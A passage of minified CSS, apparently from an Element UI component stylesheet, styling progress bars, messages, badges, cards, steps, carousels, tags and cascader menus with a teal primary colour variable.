10px;margin:0;line-height:36px;font-size:14px;color:#303133}.el-upload-cover+.el-upload__inner{opacity:0;position:relative;z-index:1}.el-progress{position:relative;line-height:1}.el-progress__text{font-size:14px;color:#606266;display:inline-block;vertical-align:middle;margin-left:10px;line-height:1}.el-progress__text i{vertical-align:middle;display:block}.el-progress--circle,.el-progress--dashboard{display:inline-block}.el-progress--circle .el-progress__text,.el-progress--dashboard .el-progress__text{position:absolute;top:50%;left:0;width:100%;text-align:center;margin:0;-webkit-transform:translate(0,-50%);transform:translate(0,-50%)}.el-progress--circle .el-progress__text i,.el-progress--dashboard .el-progress__text i{vertical-align:middle;display:inline-block}.el-progress--without-text .el-progress__text{display:none}.el-progress--without-text .el-progress-bar{padding-right:0;margin-right:0;display:block}.el-progress-bar,.el-progress-bar__inner::after,.el-progress-bar__innerText,.el-spinner{display:inline-block;vertical-align:middle}.el-progress--text-inside .el-progress-bar{padding-right:0;margin-right:0}.el-progress.is-success .el-progress-bar__inner{background-color:#67c23a}.el-progress.is-success .el-progress__text{color:#67c23a}.el-progress.is-warning .el-progress-bar__inner{background-color:#e6a23c}.el-progress.is-warning .el-progress__text{color:#e6a23c}.el-progress.is-exception .el-progress-bar__inner{background-color:#f56c6c}.el-progress.is-exception .el-progress__text{color:#f56c6c}.el-progress-bar{padding-right:50px;width:100%;margin-right:-55px;-webkit-box-sizing:border-box;box-sizing:border-box}.el-progress-bar__outer{height:6px;border-radius:100px;background-color:#ebeef5;overflow:hidden;position:relative;vertical-align:middle}.el-progress-bar__inner{position:absolute;left:0;top:0;height:100%;background-color:var(--color-primary,#419488);text-align:right;border-radius:100px;line-height:1;white-space:nowrap;-webkit-transition:width .6s ease;transition:width .6s ease}.el-card,.el-message{border-radius:4px;overflow:hidden}.el-progress-bar__inner::after{height:100%}.el-progress-bar__innerText{color:#fff;font-size:12px;margin:0 5px}@keyframes progress{0%{background-position:0 0}100%{background-position:32px 0}}.el-time-spinner{width:100%;white-space:nowrap}.el-spinner-inner{-webkit-animation:rotate 2s linear infinite;animation:rotate 2s linear infinite;width:50px;height:50px}.el-spinner-inner .path{stroke:#ececec;stroke-linecap:round;-webkit-animation:dash 1.5s ease-in-out infinite;animation:dash 1.5s ease-in-out infinite}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-webkit-keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-35}100%{stroke-dasharray:90,150;stroke-dashoffset:-124}}@keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-35}100%{stroke-dasharray:90,150;stroke-dashoffset:-124}}.el-message{min-width:380px;-webkit-box-sizing:border-box;box-sizing:border-box;border-width:1px;border-style:solid;border-color:#ebeef5;position:fixed;left:50%;top:20px;-webkit-transform:translateX(-50%);transform:translateX(-50%);background-color:#edf2fc;-webkit-transition:opacity .3s,top .4s,-webkit-transform .4s;transition:opacity .3s,top .4s,-webkit-transform .4s;transition:opacity .3s,transform .4s,top .4s;transition:opacity .3s,transform .4s,top .4s,-webkit-transform .4s;padding:15px 15px 15px 20px;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.el-message.is-center{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.el-message.is-closable .el-message__content{padding-right:16px}.el-message p{margin:0}.el-message--info .el-message__content{color:#909399}.el-message--success{background-color:#f0f9eb;border-color:#e1f3d8}.el-message--success .el-message__content{color:#67c23a}.el-message--warning{background-color:#fdf6ec;border-color:#faecd8}.el-message--warning .el-message__content{color:#e6a23c}.el-message--error{background-color:#fef0f0;border-color:#fde2e2}.el-message--error .el-message__content{color:#f56c6c}.el-message__icon{margin-right:10px}.el-message__content{padding:0;font-size:14px;line-height:1}.el-message__closeBtn{position:absolute;top:50%;right:15px;-webkit-transform:translateY(-50%);transform:translateY(-50%);cursor:pointer;color:#c0c4cc;font-size:16px}.el-message__closeBtn:hover{color:#909399}.el-message .el-icon-success{color:#67c23a}.el-message .el-icon-error{color:#f56c6c}.el-message .el-icon-info{color:#909399}.el-message .el-icon-warning{color:#e6a23c}.el-message-fade-enter,.el-message-fade-leave-active{opacity:0;-webkit-transform:translate(-50%,-100%);transform:translate(-50%,-100%)}.el-badge{position:relative;vertical-align:middle;display:inline-block}.el-badge__content{background-color:#f56c6c;border-radius:10px;color:#fff;display:inline-block;font-size:12px;height:18px;line-height:18px;padding:0 6px;text-align:center;white-space:nowrap;border:1px solid #fff}.el-badge__content.is-fixed{position:absolute;top:0;right:10px;-webkit-transform:translateY(-50%) translateX(100%);transform:translateY(-50%) translateX(100%)}.el-rate__icon,.el-rate__item{position:relative;display:inline-block}.el-badge__content.is-fixed.is-dot{right:5px}.el-badge__content.is-dot{height:8px;width:8px;padding:0;right:0;border-radius:50%}.el-badge__content--primary{background-color:var(--color-primary,#419488)}.el-badge__content--success{background-color:#67c23a}.el-badge__content--warning{background-color:#e6a23c}.el-badge__content--info{background-color:#909399}.el-badge__content--danger{background-color:#f56c6c}.el-card{border:1px solid #ebeef5;background-color:#fff;color:#303133;-webkit-transition:.3s;transition:.3s}.el-card.is-always-shadow,.el-card.is-hover-shadow:focus,.el-card.is-hover-shadow:hover{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-card__header{padding:18px 20px;border-bottom:1px solid #ebeef5;-webkit-box-sizing:border-box;box-sizing:border-box}.el-card__body{padding:20px}.el-rate{height:20px;line-height:1}.el-rate__item{font-size:0;vertical-align:middle}.el-rate__icon{font-size:18px;margin-right:6px;color:#c0c4cc;-webkit-transition:.3s;transition:.3s}.el-rate__decimal,.el-rate__icon .path2{position:absolute;top:0;left:0}.el-rate__icon.hover{-webkit-transform:scale(1.15);transform:scale(1.15)}.el-rate__decimal{display:inline-block;overflow:hidden}.el-step.is-vertical,.el-steps{display:-webkit-box;display:-ms-flexbox}.el-rate__text{font-size:14px;vertical-align:middle}.el-steps{display:flex}.el-steps--simple{padding:13px 8%;border-radius:4px;background:#f5f7fa}.el-steps--horizontal{white-space:nowrap}.el-steps--vertical{height:100%;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-flow:column;flex-flow:column}.el-step{position:relative;-ms-flex-negative:1;flex-shrink:1}.el-step:last-of-type .el-step__line{display:none}.el-step:last-of-type.is-flex{-ms-flex-preferred-size:auto!important;flex-basis:auto!important;-ms-flex-negative:0;flex-shrink:0;-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}.el-step:last-of-type .el-step__description,.el-step:last-of-type .el-step__main{padding-right:0}.el-step__head{position:relative;width:100%}.el-step__head.is-process{color:#303133;border-color:#303133}.el-step__head.is-wait{color:#c0c4cc;border-color:#c0c4cc}.el-step__head.is-success{color:#67c23a;border-color:#67c23a}.el-step__head.is-error{color:#f56c6c;border-color:#f56c6c}.el-step__head.is-finish{color:var(--color-primary,#419488);border-color:var(--color-primary,#419488)}.el-step__icon{position:relative;z-index:1;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;width:24px;height:24px;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#fff;-webkit-transition:.15s ease-out;transition:.15s ease-out}.el-step__icon.is-text{border-radius:50%;border:2px solid;border-color:inherit}.el-step__icon.is-icon{width:40px}.el-step__icon-inner{display:inline-block;user-select:none;text-align:center;font-weight:700;line-height:1;color:inherit}.el-step__icon-inner[class*=el-icon]:not(.is-status){font-size:25px;font-weight:400}.el-step__icon-inner.is-status{-webkit-transform:translateY(1px);transform:translateY(1px)}.el-step__line{position:absolute;border-color:inherit;background-color:#c0c4cc}.el-step__line-inner{display:block;border-width:1px;border-style:solid;border-color:inherit;-webkit-transition:.15s ease-out;transition:.15s ease-out;-webkit-box-sizing:border-box;box-sizing:border-box;width:0;height:0}.el-step__main{white-space:normal;text-align:left}.el-step__title{font-size:16px;line-height:38px}.el-step__title.is-process{font-weight:700;color:#303133}.el-step__title.is-wait{color:#c0c4cc}.el-step__title.is-success{color:#67c23a}.el-step__title.is-error{color:#f56c6c}.el-step__title.is-finish{color:var(--color-primary,#419488)}.el-step__description{padding-right:10%;margin-top:-5px;font-size:12px;line-height:20px;font-weight:400}.el-step__description.is-process{color:#303133}.el-step__description.is-wait{color:#c0c4cc}.el-step__description.is-success{color:#67c23a}.el-step__description.is-error{color:#f56c6c}.el-step__description.is-finish{color:var(--color-primary,#419488)}.el-step.is-horizontal{display:inline-block}.el-step.is-horizontal .el-step__line{height:2px;top:11px;left:0;right:0}.el-step.is-vertical{display:flex}.el-step.is-vertical .el-step__head{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0;width:24px}.el-step.is-vertical .el-step__main{padding-left:10px;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}.el-step.is-vertical .el-step__title{line-height:24px;padding-bottom:8px}.el-step.is-vertical .el-step__line{width:2px;top:0;bottom:0;left:11px}.el-step.is-vertical .el-step__icon.is-icon{width:24px}.el-step.is-center .el-step__head,.el-step.is-center .el-step__main{text-align:center}.el-step.is-center .el-step__description{padding-left:20%;padding-right:20%}.el-step.is-center .el-step__line{left:50%;right:-50%}.el-step.is-simple{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.el-step.is-simple .el-step__head{width:auto;font-size:0;padding-right:10px}.el-step.is-simple .el-step__icon{background:0 0;width:16px;height:16px;font-size:12px}.el-step.is-simple .el-step__icon-inner[class*=el-icon]:not(.is-status){font-size:18px}.el-step.is-simple .el-step__icon-inner.is-status{-webkit-transform:scale(.8) translateY(1px);transform:scale(.8) translateY(1px)}.el-step.is-simple .el-step__main{position:relative;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:stretch;-ms-flex-align:stretch;align-items:stretch;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}.el-step.is-simple .el-step__title{font-size:16px;line-height:20px}.el-step.is-simple:not(:last-of-type) .el-step__title{max-width:50%;word-break:break-all}.el-step.is-simple .el-step__arrow{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.el-step.is-simple .el-step__arrow::after,.el-step.is-simple .el-step__arrow::before{content:'';display:inline-block;position:absolute;height:15px;width:1px;background:#c0c4cc}.el-step.is-simple .el-step__arrow::before{-webkit-transform:rotate(-45deg) translateY(-4px);transform:rotate(-45deg) translateY(-4px);-webkit-transform-origin:0 0;transform-origin:0 0}.el-step.is-simple .el-step__arrow::after{-webkit-transform:rotate(45deg) translateY(4px);transform:rotate(45deg) translateY(4px);-webkit-transform-origin:100% 100%;transform-origin:100% 100%}.el-step.is-simple:last-of-type .el-step__arrow{display:none}.el-carousel{position:relative}.el-carousel--horizontal{overflow-x:hidden}.el-carousel--vertical{overflow-y:hidden}.el-carousel__container{position:relative;height:300px}.el-carousel__arrow{border:none;outline:0;padding:0;margin:0;height:36px;width:36px;cursor:pointer;-webkit-transition:.3s;transition:.3s;border-radius:50%;background-color:rgba(31,45,61,.11);color:#fff;position:absolute;top:50%;z-index:10;-webkit-transform:translateY(-50%);transform:translateY(-50%);text-align:center;font-size:12px}.el-carousel__arrow--left{left:16px}.el-carousel__arrow--right{right:16px}.el-carousel__arrow:hover{background-color:rgba(31,45,61,.23)}.el-carousel__arrow i{cursor:pointer}.el-carousel__indicators{position:absolute;list-style:none;margin:0;padding:0;z-index:2}.el-carousel__indicators--horizontal{bottom:0;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.el-carousel__indicators--vertical{right:0;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.el-carousel__indicators--outside{bottom:26px;text-align:center;position:static;-webkit-transform:none;transform:none}.el-carousel__indicators--outside .el-carousel__indicator:hover button{opacity:.64}.el-carousel__indicators--outside button{background-color:#c0c4cc;opacity:.24}.el-carousel__indicators--labels{left:0;right:0;-webkit-transform:none;transform:none;text-align:center}.el-carousel__indicators--labels .el-carousel__button{height:auto;width:auto;padding:2px 18px;font-size:12px}.el-carousel__indicators--labels .el-carousel__indicator{padding:6px 4px}.el-carousel__indicator{background-color:transparent;cursor:pointer}.el-carousel__indicator:hover button{opacity:.72}.el-carousel__indicator--horizontal{display:inline-block;padding:12px 4px}.el-carousel__indicator--vertical{padding:4px 12px}.el-carousel__indicator--vertical .el-carousel__button{width:2px;height:15px}.el-carousel__indicator.is-active button{opacity:1}.el-carousel__button{display:block;opacity:.48;width:30px;height:2px;background-color:#fff;border:none;outline:0;padding:0;margin:0;cursor:pointer;-webkit-transition:.3s;transition:.3s}.el-carousel__item,.el-carousel__mask{height:100%;top:0;left:0;position:absolute}.carousel-arrow-left-enter,.carousel-arrow-left-leave-active{-webkit-transform:translateY(-50%) translateX(-10px);transform:translateY(-50%) translateX(-10px);opacity:0}.carousel-arrow-right-enter,.carousel-arrow-right-leave-active{-webkit-transform:translateY(-50%) translateX(10px);transform:translateY(-50%) translateX(10px);opacity:0}.el-carousel__item{width:100%;display:inline-block;overflow:hidden;z-index:0}.el-carousel__item.is-active{z-index:2}.el-carousel__item.is-animating{-webkit-transition:-webkit-transform .4s ease-in-out;transition:-webkit-transform .4s ease-in-out;transition:transform .4s ease-in-out;transition:transform .4s ease-in-out,-webkit-transform .4s ease-in-out}.el-carousel__item--card{width:50%;-webkit-transition:-webkit-transform .4s ease-in-out;transition:-webkit-transform .4s ease-in-out;transition:transform .4s ease-in-out;transition:transform .4s ease-in-out,-webkit-transform .4s ease-in-out}.el-carousel__item--card.is-in-stage{cursor:pointer;z-index:1}.el-carousel__item--card.is-in-stage.is-hover .el-carousel__mask,.el-carousel__item--card.is-in-stage:hover .el-carousel__mask{opacity:.12}.el-carousel__item--card.is-active{z-index:2}.el-carousel__mask{width:100%;background-color:#fff;opacity:.24;-webkit-transition:.2s;transition:.2s}.el-fade-in-enter,.el-fade-in-leave-active,.el-fade-in-linear-enter,.el-fade-in-linear-leave,.el-fade-in-linear-leave-active,.fade-in-linear-enter,.fade-in-linear-leave,.fade-in-linear-leave-active{opacity:0}.fade-in-linear-enter-active,.fade-in-linear-leave-active{-webkit-transition:opacity .2s linear;transition:opacity .2s linear}.el-fade-in-linear-enter-active,.el-fade-in-linear-leave-active{-webkit-transition:opacity .2s linear;transition:opacity .2s linear}.el-fade-in-enter-active,.el-fade-in-leave-active{-webkit-transition:all .3s cubic-bezier(.55,0,.1,1);transition:all .3s cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter-active,.el-zoom-in-center-leave-active{-webkit-transition:all .3s cubic-bezier(.55,0,.1,1);transition:all .3s cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter,.el-zoom-in-center-leave-active{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}.el-zoom-in-top-enter-active,.el-zoom-in-top-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:center top;transform-origin:center top}.el-zoom-in-top-enter,.el-zoom-in-top-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}.el-zoom-in-bottom-enter-active,.el-zoom-in-bottom-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:center bottom;transform-origin:center bottom}.el-zoom-in-bottom-enter,.el-zoom-in-bottom-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}.el-zoom-in-left-enter-active,.el-zoom-in-left-leave-active{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:top left;transform-origin:top left}.el-zoom-in-left-enter,.el-zoom-in-left-leave-active{opacity:0;-webkit-transform:scale(.45,.45);transform:scale(.45,.45)}.collapse-transition{-webkit-transition:.3s height ease-in-out,.3s padding-top ease-in-out,.3s padding-bottom ease-in-out;transition:.3s height ease-in-out,.3s padding-top ease-in-out,.3s padding-bottom ease-in-out}.horizontal-collapse-transition{-webkit-transition:.3s width ease-in-out,.3s padding-left ease-in-out,.3s padding-right ease-in-out;transition:.3s width ease-in-out,.3s padding-left ease-in-out,.3s padding-right ease-in-out}.el-list-enter-active,.el-list-leave-active{-webkit-transition:all 1s;transition:all 1s}.el-list-enter,.el-list-leave-active{opacity:0;-webkit-transform:translateY(-30px);transform:translateY(-30px)}.el-opacity-transition{-webkit-transition:opacity .3s cubic-bezier(.55,0,.1,1);transition:opacity .3s cubic-bezier(.55,0,.1,1)}.el-collapse{border-top:1px solid #ebeef5;border-bottom:1px solid #ebeef5}.el-collapse-item.is-disabled .el-collapse-item__header{color:#bbb;cursor:not-allowed}.el-collapse-item__header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:48px;line-height:48px;background-color:#fff;color:#303133;cursor:pointer;border-bottom:1px solid #ebeef5;font-size:13px;font-weight:500;-webkit-transition:border-bottom-color .3s;transition:border-bottom-color .3s;outline:0}.el-collapse-item__arrow{margin:0 8px 0 auto;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-weight:300}.el-collapse-item__arrow.is-active{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.el-collapse-item__header.focusing:focus:not(:hover){color:var(--color-primary,#419488)}.el-collapse-item__header.is-active{border-bottom-color:transparent}.el-collapse-item__wrap{will-change:height;background-color:#fff;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;border-bottom:1px solid #ebeef5}.el-cascader__tags,.el-tag{-webkit-box-sizing:border-box}.el-collapse-item__content{padding-bottom:25px;font-size:13px;color:#303133;line-height:1.76923077}.el-collapse-item:last-child{margin-bottom:-1px}.el-popper .popper__arrow,.el-popper .popper__arrow::after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.el-popper .popper__arrow{border-width:6px;-webkit-filter:drop-shadow(0 2px 12px rgba(0, 0, 0, .03));filter:drop-shadow(0 2px 12px rgba(0, 0, 0, .03))}.el-popper .popper__arrow::after{content:" ";border-width:6px}.el-popper[x-placement^=top]{margin-bottom:12px}.el-popper[x-placement^=top] .popper__arrow{bottom:-6px;left:50%;margin-right:3px;border-top-color:#ebeef5;border-bottom-width:0}.el-popper[x-placement^=top] .popper__arrow::after{bottom:1px;margin-left:-6px;border-top-color:#fff;border-bottom-width:0}.el-popper[x-placement^=bottom]{margin-top:12px}.el-popper[x-placement^=bottom] .popper__arrow{top:-6px;left:50%;margin-right:3px;border-top-width:0;border-bottom-color:#ebeef5}.el-popper[x-placement^=bottom] .popper__arrow::after{top:1px;margin-left:-6px;border-top-width:0;border-bottom-color:#fff}.el-popper[x-placement^=right]{margin-left:12px}.el-popper[x-placement^=right] .popper__arrow{top:50%;left:-6px;margin-bottom:3px;border-right-color:#ebeef5;border-left-width:0}.el-popper[x-placement^=right] .popper__arrow::after{bottom:-6px;left:1px;border-right-color:#fff;border-left-width:0}.el-popper[x-placement^=left]{margin-right:12px}.el-popper[x-placement^=left] .popper__arrow{top:50%;right:-6px;margin-bottom:3px;border-right-width:0;border-left-color:#ebeef5}.el-popper[x-placement^=left] .popper__arrow::after{right:1px;bottom:-6px;margin-left:-6px;border-right-width:0;border-left-color:#fff}.el-tag{background-color:#ecf5ff;border-color:#d9ecff;display:inline-block;height:32px;padding:0 10px;line-height:30px;font-size:12px;color:var(--color-primary,#419488);border-width:1px;border-style:solid;border-radius:4px;box-sizing:border-box;white-space:nowrap}.el-tag.is-hit{border-color:var(--color-primary,#419488)}.el-tag .el-tag__close{color:var(--color-primary,#419488)}.el-tag .el-tag__close:hover{color:#fff;background-color:var(--color-primary,#419488)}.el-tag.el-tag--info{background-color:#f4f4f5;border-color:#e9e9eb;color:#909399}.el-tag.el-tag--info.is-hit{border-color:#909399}.el-tag.el-tag--info .el-tag__close{color:#909399}.el-tag.el-tag--info .el-tag__close:hover{color:#fff;background-color:#909399}.el-tag.el-tag--success{background-color:#f0f9eb;border-color:#e1f3d8;color:#67c23a}.el-tag.el-tag--success.is-hit{border-color:#67c23a}.el-tag.el-tag--success .el-tag__close{color:#67c23a}.el-tag.el-tag--success .el-tag__close:hover{color:#fff;background-color:#67c23a}.el-tag.el-tag--warning{background-color:#fdf6ec;border-color:#faecd8;color:#e6a23c}.el-tag.el-tag--warning.is-hit{border-color:#e6a23c}.el-tag.el-tag--warning .el-tag__close{color:#e6a23c}.el-tag.el-tag--warning .el-tag__close:hover{color:#fff;background-color:#e6a23c}.el-tag.el-tag--danger{background-color:#fef0f0;border-color:#fde2e2;color:#f56c6c}.el-tag.el-tag--danger.is-hit{border-color:#f56c6c}.el-tag.el-tag--danger .el-tag__close{color:#f56c6c}.el-tag.el-tag--danger .el-tag__close:hover{color:#fff;background-color:#f56c6c}.el-tag .el-icon-close{border-radius:50%;text-align:center;position:relative;cursor:pointer;font-size:12px;height:16px;width:16px;line-height:16px;vertical-align:middle;top:-1px;right:-5px}.el-tag .el-icon-close::before{display:block}.el-tag--dark{background-color:var(--color-primary,#419488);border-color:var(--color-primary,#419488);color:#fff}.el-tag--dark.is-hit{border-color:var(--color-primary,#419488)}.el-tag--dark .el-tag__close{color:#fff}.el-tag--dark .el-tag__close:hover{color:#fff;background-color:#66b1ff}.el-tag--dark.el-tag--info{background-color:#909399;border-color:#909399;color:#fff}.el-tag--dark.el-tag--info.is-hit{border-color:#909399}.el-tag--dark.el-tag--info .el-tag__close{color:#fff}.el-tag--dark.el-tag--info .el-tag__close:hover{color:#fff;background-color:#a6a9ad}.el-tag--dark.el-tag--success{background-color:#67c23a;border-color:#67c23a;color:#fff}.el-tag--dark.el-tag--success.is-hit{border-color:#67c23a}.el-tag--dark.el-tag--success .el-tag__close{color:#fff}.el-tag--dark.el-tag--success .el-tag__close:hover{color:#fff;background-color:#85ce61}.el-tag--dark.el-tag--warning{background-color:#e6a23c;border-color:#e6a23c;color:#fff}.el-tag--dark.el-tag--warning.is-hit{border-color:#e6a23c}.el-tag--dark.el-tag--warning .el-tag__close{color:#fff}.el-tag--dark.el-tag--warning .el-tag__close:hover{color:#fff;background-color:#ebb563}.el-tag--dark.el-tag--danger{background-color:#f56c6c;border-color:#f56c6c;color:#fff}.el-tag--dark.el-tag--danger.is-hit{border-color:#f56c6c}.el-tag--dark.el-tag--danger .el-tag__close{color:#fff}.el-tag--dark.el-tag--danger .el-tag__close:hover{color:#fff;background-color:#f78989}.el-tag--plain{background-color:#fff;border-color:#b3d8ff;color:var(--color-primary,#419488)}.el-tag--plain.is-hit{border-color:var(--color-primary,#419488)}.el-tag--plain .el-tag__close{color:var(--color-primary,#419488)}.el-tag--plain .el-tag__close:hover{color:#fff;background-color:var(--color-primary,#419488)}.el-tag--plain.el-tag--info{background-color:#fff;border-color:#d3d4d6;color:#909399}.el-tag--plain.el-tag--info.is-hit{border-color:#909399}.el-tag--plain.el-tag--info .el-tag__close{color:#909399}.el-tag--plain.el-tag--info .el-tag__close:hover{color:#fff;background-color:#909399}.el-tag--plain.el-tag--success{background-color:#fff;border-color:#c2e7b0;color:#67c23a}.el-tag--plain.el-tag--success.is-hit{border-color:#67c23a}.el-tag--plain.el-tag--success .el-tag__close{color:#67c23a}.el-tag--plain.el-tag--success .el-tag__close:hover{color:#fff;background-color:#67c23a}.el-tag--plain.el-tag--warning{background-color:#fff;border-color:#f5dab1;color:#e6a23c}.el-tag--plain.el-tag--warning.is-hit{border-color:#e6a23c}.el-tag--plain.el-tag--warning .el-tag__close{color:#e6a23c}.el-tag--plain.el-tag--warning .el-tag__close:hover{color:#fff;background-color:#e6a23c}.el-tag--plain.el-tag--danger{background-color:#fff;border-color:#fbc4c4;color:#f56c6c}.el-tag--plain.el-tag--danger.is-hit{border-color:#f56c6c}.el-tag--plain.el-tag--danger .el-tag__close{color:#f56c6c}.el-tag--plain.el-tag--danger .el-tag__close:hover{color:#fff;background-color:#f56c6c}.el-tag--medium{height:28px;line-height:26px}.el-tag--medium .el-icon-close{-webkit-transform:scale(.8);transform:scale(.8)}.el-tag--small{height:24px;padding:0 8px;line-height:22px}.el-tag--small .el-icon-close{-webkit-transform:scale(.8);transform:scale(.8)}.el-tag--mini{height:20px;padding:0 5px;line-height:19px}.el-tag--mini .el-icon-close{margin-left:-3px;-webkit-transform:scale(.7);transform:scale(.7)}.el-cascader{display:inline-block;position:relative;font-size:14px;line-height:40px}.el-cascader:not(.is-disabled):hover .el-input__inner{cursor:pointer;border-color:#c0c4cc}.el-cascader .el-input .el-input__inner:focus,.el-cascader .el-input.is-focus .el-input__inner{border-color:var(--color-primary,#419488)}.el-cascader .el-input{cursor:pointer}.el-cascader .el-input .el-input__inner{text-overflow:ellipsis}.el-cascader .el-input .el-icon-arrow-down{-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-size:14px}.el-cascader .el-input .el-icon-arrow-down.is-reverse{-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg)}.el-cascader .el-input .el-icon-circle-close:hover{color:#909399}.el-cascader--medium{font-size:14px;line-height:36px}.el-cascader--small{font-size:13px;line-height:32px}.el-cascader--mini{font-size:12px;line-height:28px}.el-cascader.is-disabled .el-cascader__label{z-index:2;color:#c0c4cc}.el-cascader__dropdown{margin:5px 0;font-size:14px;background:#fff;border:1px solid #e4e7ed;border-radius:4px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-cascader__tags{position:absolute;left:0;right:30px;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;line-height:normal;text-align:left;box-sizing:border-box}.el-cascader__tags .el-tag{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;max-width:100%;margin:2px 0 2px 6px;text-overflow:ellipsis;background:#f0f2f5}.el-cascader__tags .el-tag:not(.is-hit){border-color:transparent}.el-cascader__tags .el-tag>span{-webkit-box-flex:1;-ms-flex:1;flex:1;overflow:hidden;text-overflow:ellipsis}.el-cascader__tags .el-tag .el-icon-close{-webkit-box-flex:0;-ms-flex:none;flex:none;background-color:#c0c4cc;color:#fff}.el-cascader__tags .el-tag .el-icon-close:hover{background-color:#909399}.el-cascader__suggestion-panel{border-radius:4px}.el-cascader__suggestion-list{max-height:204px;margin:0;padding:6px 0;font-size:14px;color:#606266;text-align:center}.el-cascader__suggestion-item{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:34px;padding:0 15px;text-align:left;outline:0;cursor:pointer}.el-cascader__suggestion-item:focus,.el-cascader__suggestion-item:hover{background:#f5f7fa}.el-cascader__suggestion-item.is-checked{color:var(--color-primary,#419488);font-weight:700}.el-cascader__suggestion-item>span{margin-right:10px}.el-cascader__empty-text{margin:10px 0;color:#c0c4cc}.el-cascader__search-input{-webkit-box-flex:1;-ms-flex:1;flex:1;height:24px;min-width:60px;margin:2px 0 2px 15px;padding:0;color:#606266;border:none;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-cascader__search-input::-webkit-input-placeholder{color:#c0c4cc}.el-cascader__search-input:-ms-input-placeholder{color:#c0c4cc}.el-cascader__search-input::-ms-input-placeholder{color:#c0c4cc}.el-cascader__search-input::placeholder{color:#c0c4cc}.el-color-predefine{display:-webkit-box;display:-ms-flexbox;display:flex;font-size:12px;margin-top:8px;width:280px}.el-color-predefine__colors{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:1;-ms-flex:1;flex:1;-ms-flex-wrap:wrap;flex-wrap:wrap}.el-color-predefine__color-selector{margin:0 0 8px 